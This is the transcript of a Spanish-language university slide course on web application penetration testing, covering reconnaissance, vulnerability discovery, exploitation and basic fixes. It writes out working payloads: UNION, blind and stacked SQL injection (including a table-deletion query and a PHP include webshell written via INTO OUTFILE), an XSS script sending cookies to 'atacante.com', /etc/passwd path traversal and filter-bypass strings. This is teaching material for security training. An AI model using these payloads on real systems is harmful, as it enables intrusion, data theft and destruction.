Your SlideShare is downloading. ×
Hacking ético [Pentest]
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Introducing the official SlideShare app

Stunning, full-screen experience for iPhone and Android

Text the download link to your phone

Standard text messaging rates apply

Hacking ético [Pentest]

2,737
views

Published on

Curso realizado durante 3 días en la Universidad Autónoma de Madrid sobre como realizar un pentest o test de intrusión a aplicaciones web.

Curso realizado durante 3 días en la Universidad Autónoma de Madrid sobre como realizar un pentest o test de intrusión a aplicaciones web.


0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
2,737
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
64
Comments
0
Likes
1
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. HACKING ÉTICO:HACKING ÉTICO: PENTEST DE APLICACIONES WEB Realizada por: Eduardo Arriols
  • 2. Yo. Estudiante de 2º de Ingeniería Inf. Aficionado a la Seguridad Informática y elAficionado a la Seguridad Informática y el Hacking. He trabajado en algunas empresas como auditor de seguridad. Titulado como experto en Seguridad Informática por la Unv. De Salamanca (Certyred)por la Unv. De Salamanca (Certyred) Twitter: @hackingeticoweb Youtube: /user/hackingeticoweb
  • 3. Pentest de Aplicaciones Web Índice: 1. Introducción1. Introducción 2. Footprinting y Fingerprinting 3. Búsqueda de vulnerabilidades 4. Explotación de vulnerabilidades 5. Soluciones
  • 4. 1. Introducción: Test de intrusión o Pentest
  • 5. Test de Intrusión o Pentest Método para evaluar la seguridad de un sistema o red de sistemas de información simulando el ataquered de sistemas de información simulando el ataque realizado por un intruso. Fases: Footprinting y Fingerprinting Búsqueda de Vulnerabilidades Explotación de Vulnerabilidades (PoC) Solución / Informe
  • 6. Test de Intrusión o Pentest Fases Test de Intrusión para un auditor:
  • 7. Test de Intrusión o Pentest Fases Test de Intrusión para un atacante:
  • 8. Metodologías Nos sirven como guía, permitiéndonos seguir un orden en todas las posibles pruebas a realizar.orden en todas las posibles pruebas a realizar. Entre las mas importantes, sobre todo a nivel web esta OWASP (Open Web Application Security Project). A nivel general OSSTMM también es muy importante, ya que abarca todos los campos.
  • 9. 2. Footprinting y Fingerprinting
  • 10. ¿Qué es? Primeras fases de un test de intrusión donde se va a buscar toda la información posible del objetivo.buscar toda la información posible del objetivo. Footprinting: Obtención de información publica acerca del objetivo. (Menos útil a nivel web). Fingerprinting: Obtención de información acerca del SO, de la versión del servidor… (Menos útil a nivel web).
  • 11. Footprinting Esencial para elaborar un ataque sofisticado posterior.posterior. No intrusivo, la entidad no debe detectarlo. Recopilar mayor cantidad de información publica. Tipos: Activo: Se realizan pruebas contra los sistemas.Activo: Se realizan pruebas contra los sistemas. Pasivo: En ningún momento nos conectamos con el sistema a auditar.
  • 12. Footprinting Esta fase tiene mas sentido cuando se auditan sistemas informáticos grandes como el de algunasistemas informáticos grandes como el de alguna empresa. Recopilación Pasiva: Búsqueda con Google (Hacking Google) y otros buscadores.buscadores. Obtención de “vecinos web” de la aplicación. Recopilación Activa (Utilización de Proxys): Familiarizarse con la aplicación .
  • 13. Footprinting Google Hacking: Solo urls de la web auditada:Solo urls de la web auditada: Site:empresa.com Tecnología que usa (php,asp,aspx…): Site:empresa.com inurl:”.php?” Paginas con links a la web auditada: Link:empresa.com Archivos txt:Archivos txt: Site:empresa.com ext:txt Busquedas avanzadas: Buscando SQLi: Site:empresa.com inurl:”.php?” “Warning mysql_fetch_array()”
  • 14. Footprinting Obtención de “vecinos web”: Robtex.com (Nos da + opciones)Robtex.com (Nos da + opciones) Serversniff.net/content.php?do=hostonip Myipneighbors Recopilación activa: Navegar por la web y familiarizarse con ella. Comprender la lógica de la aplicación.
  • 15. Fingerprinting A veces incluido dentro de fase de obtención de información (activo).información (activo). Buscamos: Identificar las versiones y los servicios que ofrece el sistema a auditar. Identificación de sistemas operativos, elementos de red,Identificación de sistemas operativos, elementos de red, etcétera. Identificación de firewalls (WAF), IDS y CMS
  • 16. Fingerprinting Identificación las versiones y el SO: Búsqueda de banners/errores en la aplicación.Búsqueda de banners/errores en la aplicación. Utilización de herramientas (Identificacion de CMS) Joomscan y wpscan (Joomla o Wordpress) Utilización de crawlers para conocer la estructura de la aplicación (DirBuster). Comprobar si tiene algún tipo de WAF o IDS. Herramienta: Waffit
  • 17. Pruebas: Footprinting Fingerprinting Google Hacking Buscar “vecinos web” de uam.es Búsqueda de banners y mensajes de error Utilizar DirBuster Comprobar si existe WAFWAF Identificar CMS
  • 18. Navegación Anónima Antes de continuar es importante saber como podemos navegar de forma anónima, algopodemos navegar de forma anónima, algo necesario incluso cuando estamos realizando un pentest y la empresa lo sabe. Opciones: Utilización de TOR Utilización de algún proxy intermedioUtilización de algún proxy intermedio Navegación mediante proxy
  • 19. Navegación Anónima Utilización de TOR (https://www.torproject.org/): Comandos para iniciarlo (Ya esta instalado):Comandos para iniciarlo (Ya esta instalado): cd tor-browser_es-ES/ . /start-tor-browser Utilizar proxy intermedio (Configurar navegador): Por ejemplo: http://www.samair.ru/proxy/Por ejemplo: http://www.samair.ru/proxy/ Navegar desde proxy: Por ejemplo: http://glypeproxy.com/
  • 20. 3. Búsqueda de Vulnerabilidades
  • 21. Búsqueda de Vulnerabilidades Una vez sabemos como funciona la aplicación y tenemos identificados los posibles puntos detenemos identificados los posibles puntos de entrada es hora de buscar las diferentes vulnerabilidades. Tipos: SQL Injection XSSXSS RFI / LFI (+ Path Transversal) Por versiones de Software
  • 22. Búsqueda de Vulnerabilidades SQL Injection: Técnica que permite la manipulación de las consultasTécnica que permite la manipulación de las consultas que la aplicación realiza a la Base de Datos. Identificar los “Input” de la aplicación que se relacionan con la Base de Datos e intentar modificarla o hacer que falle (Añadiendo..): Una ‘Una ‘ Viendo si cambia al introducir: And 1=1 And 1=0
  • 23. Búsqueda de Vulnerabilidades XSS: Vulnerabilidades que permiten la modificación delVulnerabilidades que permiten la modificación del código fuente de la aplicación. Pueden ser: Persistentes: Cuando el código modificado se almacena. Reflejado: Cuando el código modificado se elimina al cargar de nuevo la pagina.cargar de nuevo la pagina. Forma de descubrirlo: Intentar introducir: “/><script>alert(123)</script> Viendo el código fuente de la aplicación.
  • 24. Búsqueda de Vulnerabilidades RFI / LFI (+ Path Transversal) LFI: Nos permite cargar archivos del sistema como porLFI: Nos permite cargar archivos del sistema como por ejemplo el archivo de contraseñas de linux (/etc/passwd). RFI: Nos permite cargar código de una pagina externa, lo que hace que se puedan utilizar webshells remotas que veremos mas adelante. Identificación (Ejemplo): Url: “index.php?page=http://google.com”
  • 25. Búsqueda de Vulnerabilidades Por versiones de Software: Buscar con la información obtenida de la primera faseBuscar con la información obtenida de la primera fase posibles exploits y vulnerabilidades para el sistema a auditar. Paginas donde buscar: http://www.exploit-db.comhttp://www.exploit-db.com http://www.securityfocus.com
  • 26. Búsqueda de Vulnerabilidades Herramientas: Nikto: Permite una búsqueda de vulnerabilidades sobreNikto: Permite una búsqueda de vulnerabilidades sobre todo a nivel web. Nos permite hacernos una idea de donde puede fallar la aplicación. root@bt:/pentest/web/nikto# perl nikto.pl –host x.com Herramientas de pago:Herramientas de pago: Acunetix Netsparker
  • 27. Pruebas: Búsqueda de Vulnerabilidades: Mediante Google Hacking encontrar web vulnerables a SQL Injection Encontrar XSS comprobando código fuente Leer archivo distinto al predefinido (LFI) Cargar Google.com (RFI)Cargar Google.com (RFI)
  • 28. 4. Explotación de Vulnerabilidades
  • 29. Explotación de Vulnerabilidades En esta fase vamos a ver de que formas podría un atacante sacar información confidencial o modificaratacante sacar información confidencial o modificar la aplicación web. Las técnicas que vamos a ver son: SQL Injection (Union, Blind, Time-base…) XSS (Reflejado y persistente)XSS (Reflejado y persistente) RFI / LFI (+ Path Transversal) Técnicas de Bypass Curiosidades
  • 30. SQL Injection Durante la formación vamos a ver los siguientes tipos de inyección SQL:tipos de inyección SQL: Mediante UNION Boolean-base Blind SQLi (A ciegas) Time-Base Blind SQLi (Basadas en tiempo) Heavy Queries SQLi (Consultas pesadas) Stack Queries SQLi (Consultas apiladas)Stack Queries SQLi (Consultas apiladas) De SQL Injection a RFI
  • 31. SQL Injection (Mediante UNION) Sacar información básica (usuario, DB…): Dejamos la consulta de la aplicación vacíaDejamos la consulta de la aplicación vacía Buscamos el numero de columnas que tiene la consulta para poder realizar nuestra propia consulta mediante “UNION” Sacamos información mediante: User(),database(),@@version,@@datadir…User(),database(),@@version,@@datadir…
  • 32. SQL Injection (Mediante UNION) Sacar tablas de la BD Utilizamos la tabla: information_schema.tablesUtilizamos la tabla: information_schema.tables De ahí sacamos que tablas hay en la base de datos Utilización de “limit N,1” para sacar las distintas tablas Sacar columnas de las tablas Idéntico al anterior pero utilizando information_schema.columns
  • 33. SQL Injection (Mediante UNION) Sacar registros de las tablas Con la información obtenida construimos la consultaCon la información obtenida construimos la consulta que queremos como: … UNION SELECT usuario,password FROM usuarios LIMIT 0,1 Pudiendo así ir sacando todos los registros de la tabla,Pudiendo así ir sacando todos los registros de la tabla, en caso de que no nos dejara todos a la vez.
  • 34. Boolean-base Blind SQLi En este caso, nos enfrentamos a una situación en la que el atacante no recibe ningún tipo deque el atacante no recibe ningún tipo de información por pantalla. Y habrá que ir realizando consultas y fijándonos si el resultado es positivo o negativo (Situación Booleana). Hay que ir extrayendo letra por letra todo la información. Ejemplo:información. Ejemplo: Ejemplo: … UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios
  • 35. Time-Base Blind SQLi Son situaciones similares a la anterior, donde la aplicación no muestra ningún tipo de dato por pantalla.aplicación no muestra ningún tipo de dato por pantalla. Pero además, ahora la aplicación tampoco cambiara entre dos opciones (la condición cierta y la falsa)… Aun así no esta todo perdido, es posible realizar otras consultas donde lo que nos va a indicar si es cierta o no la consulta será el tiempo de respuesta de la base dela consulta será el tiempo de respuesta de la base de datos. Ej: … UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios and sleep(5)
  • 36. Heavy Queries SQLi Esta técnica es una variante de la anterior, pero donde para complicar mas las cosas la opcióndonde para complicar mas las cosas la opción sleep() esta filtrada… En este caso deberemos realizar consultas pesadas, que provoquen que la base de datos tarde mucho en responder, logrando el mismo efecto que con sleep() aunque menos preciso.sleep() aunque menos preciso. Para esta técnica MySQL no tiene tantas opciones como Postgres o Mssql.
  • 37. Heavy Queries SQLi Ej: … UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios and 1=(SELECT COUNT(*) FROM information_schema.columns as a, information_schema.columns as b, information_schema.columns as c, information_schema.columns as d, information_schema.columns as e) Esta consulta tarda unos 5 segundos en realizarse.
  • 38. Stack Queries SQLi Esta ultima técnica que vamos a ver es sin duda la mas peligrosa.mas peligrosa. Hasta ahora todas las técnicas que hemos visto nos permitían obtener información, pero no modificarla. En cambio ahora si vamos a poder hacerlo mediante la apilación de consultas. Con ello podremos en una sola petición realizar varias consultas (Separadas por ‘;’).consultas (Separadas por ‘;’). Ej (Borrado completo de la tabla usuarios): … AND 1=0; DELETE FROM usuarios
  • 39. De SQL Injection a RFI Con esta ultima técnica vamos a ver una de las formas de lograr obtener un RFI mediante unaformas de lograr obtener un RFI mediante una inyección SQL. En el ejemplo crearemos un archivo php que podremos llamar desde el navegador introduciendo en el parámetro ‘cmd’ la url de la WebShell, obteniendo el control del servidor completo. Ej: … UNION SELECT 1,’<?php include($_GET[$cmd]); ?>’ INTO OUTFILE ‘/prueba.php’
  • 40. XSS Vulnerabilidad que principalmente se utiliza para el robo de cookies o credenciales, pero también pararobo de cookies o credenciales, pero también para realizar ‘defaces’ de webs, instalar keyloggers, troyanización de navegadores… Tipos: Reflejado: Permite únicamente el robo de cookies o credenciales. Se basa en la ejecución de código por parte del navegador al interpretar la url(Independiente).del navegador al interpretar la url(Independiente). Persistente: Permite todos los tipos de ataques anteriores, es menos común de encontrar. Los datos son guardados en el servidor, y servidos a todos aquellos que visiten la pagina.
  • 41. XSS Ejemplo de robo de cookies (Reflejado): <script>document.location="http://atacante.com/robo<script>document.location="http://atacante.com/robo _cookies.php?cookie=" + document.cookie</script> Esto permite que el atacante robe los datos y pueda logearse en la aplicación modificando sus cookies. Realización de deface (Persistente):Realización de deface (Persistente): Cargar pagina externa Modificar la pagina actual con código Javascript
  • 42. RFI / LFI RFI (Remote File Inclusion): Permite cargar en el servidor código que se encuentra en otro servidor.servidor código que se encuentra en otro servidor. Normalmente se utiliza para subir una WebShell y tomar el control del servidor. Es complicado encontrar este tipo de vulnerabilidades, ya que se necesita que se den una serie de condiciones…condiciones… Para explotarlo únicamente seria necesario cargar la url donde se encuentre la WebShell, siempre en txt debido a que sino se ejecutaría en nuestro servidor.
  • 43. RFI / LFI LFI: Nos permite acceder a ficheros del servidor de carácter privado. Para ello normalmente se hace uso del Path Transversal, que es una técnica para ir carácter privado. Para ello normalmente se hace uso del Path Transversal, que es una técnica para ir saltando de directorio. Ej: Aplicación: ?page=index.php Atacante: ?page=../../../../../../../../../../etc/passwd Consiguiendo con esto acceso al archivo /etc/passwd del servidor.
  • 44. Técnicas de Bypass En algunas aplicaciones que se encuentra ‘seguras’ se filtran una serie de cadenas para evitar que sese filtran una serie de cadenas para evitar que se lleven acabo ciertas técnicas como SQLi o XSS. Pero en la inmensa mayoría resulta trivial saltárselas realizando pequeñas modificaciones. Bypass de filtros en: SQL InjectionSQL Injection XSS
  • 45. Técnicas de Bypass (SQLi) Con estas técnicas básicas es posible saltarse la gran mayoría de filtros, debido a que únicamente buscaranmayoría de filtros, debido a que únicamente buscaran la palabra exacta y no pequeñas variaciones. Alternar May. Y Min: … uNiOn SelEcT 1,2 AND Filtrado: Sustituir AND por %26%26 OR Filtrado: Sustituir OR por ||OR Filtrado: Sustituir OR por || Uso de comentarios: … uNi/**/On Sel/**/EcT 1,2
  • 46. Tecnicas de Bypass(XSS) En el caso de XSS es similar… Caracteres ‘<’ y ‘>’ filtrados: Sustituirlos por %3c y %3e (Su valor en ascii) Palabras como script filtradas: Intercalar May. y Min.Intercalar May. y Min. Uso de comentarios: <scr<--comentario-->ipt> Uso de URL Encode, etc…
  • 47. Curiosidades Buscadores como arma de destrucción masiva: Indexar una url vulnerable a Stack Queries SQLi enIndexar una url vulnerable a Stack Queries SQLi en buscadores como Google, Bing… Lo que podría permitir que cada cierto tiempo a dicha aplicación se le borrara la DB. Troyanizacion de navegadores:Troyanizacion de navegadores: Mediante la herramienta BeEF es posible troyanizar los navegadores de todas aquellas personas que entren en una pagina vulnerable a XSS Persistente.
  • 48. Pruebas Explotación de Vulnerabilidades: SQL Injection Obtener información privada de la aplicación Descubrir Boolean-Base Blind SQLi Descubrir Time-Base Blind SQLi Bypass de filtro SQL Injection Lograr RFI desde SQL Injection
  • 49. Pruebas XSS RFI / LFI Realizar XSS Reflejado Introducir XSS Persistente con un comentario Acceso a archivos privados del serv. Utilización de una WebShell comentario Salto de filtro XSS
  • 50. Soluciones
  • 51. Soluciones La gran mayoría de fallos vistos se podrían evitar si desde un principio se hubieran implementado medidasdesde un principio se hubieran implementado medidas de seguridad, normalmente con un correcto tratamiento de todos aquellos input es suficiente. Daremos una solución sencilla pero efectiva a los ataques vistos (SQLi, XSS, RFI/LFI) Como por ejemplo, si se espera un numero, utilizar funcionesComo por ejemplo, si se espera un numero, utilizar funciones como isint en php, evitando que se introduzca otra cosa. Aunque para asegurar realmente una aplicación a “prueba de bombas” suele ser muy efectivo un WAF.
  • 52. Soluciones SQL Injection: Transformar todo a ascii (evitando caracteres en hex.)Transformar todo a ascii (evitando caracteres en hex.) Utilización de funciones propias del servidor para securizar las consultas (php+mysql como mysql_real_query, etc…) Realizar un filtrado de las palabras: And, or, union, select, concat, group, from, where, sleep, etc… XSS: Utilizar funciones propias del lenguaje como: html_entitiesUtilizar funciones propias del lenguaje como: html_entities Además realizar un filtrado tanto de comentarios como de caracteres especiales. Dejar todo en minúsculas o mayúsculas.
  • 53. Soluciones RFI / LFI: Desactivar características del servidor web como:Desactivar características del servidor web como: allow_url_fopen allow_url_include Que eviten que un atacante pueda incluir archivos tanto remotos como locales. Evitar el uso de ciertas funciones como:Evitar el uso de ciertas funciones como: Include Require Require_once …
  • 54. Fin … Una vez hemos visto como realizar un proceso de pentest o test de intrusión completo a una aplicación web, siguiendo todas y cada una de sus fases desde la obtención de información hasta la solución de las vulnerabilidades, es hora de…solución de las vulnerabilidades, es hora de…
  • 55. !Aun queda lo mas divertido! 5. Wargame
  • 56. Wargame Una vez hemos aprendido las técnicas mas utilizadas tanto por los atacantes como por loutilizadas tanto por los atacantes como por lo pentesters es hora de demostrar todo lo que sabéis. Se os pondrán una serie de retos que deberéis intentar realizar lo antes posible, quien al final sume mas puntos será el ganador asique…sume mas puntos será el ganador asique… Suerte!!
  • 57. Wargame Retos a realizar: Obtener Usuarios 30 puntosObtener Usuarios 30 puntos Logearse como usuario 50 puntos Obtener datos bancarios 30 puntos Modificar datos bancarios (Ayudar a pette) 150 pts Deface sencillo de la pag. Principal 100 puntos Ejecutar comandos en el SO 75 puntosEjecutar comandos en el SO 75 puntos Lectura del fichero: C:/xampp/premio.php 20 puntos
  • 58. ESPERO QUE LO HAYÁIS DISFRUTADO Y APRENDIDO MUCHO DE LA FORMACIÓN. PARA MI HA SIDO UN PLACER Y YA SABÉIS QUE PARA LO QUE NECESITÉIS NO DUDÉIS EN PONEROS EN CONTACTO CONMIGO!PONEROS EN CONTACTO CONMIGO! UN SALUDO A TOD@S! GRACIAS. GRACIAS EN ESPECIAL A: ROBERTO LOPEZROBERTO LOPEZ ÁLVARO ORTIGOSA ÁLVARO GOMEZ (J0K3N) Realizada por: Eduardo Arriols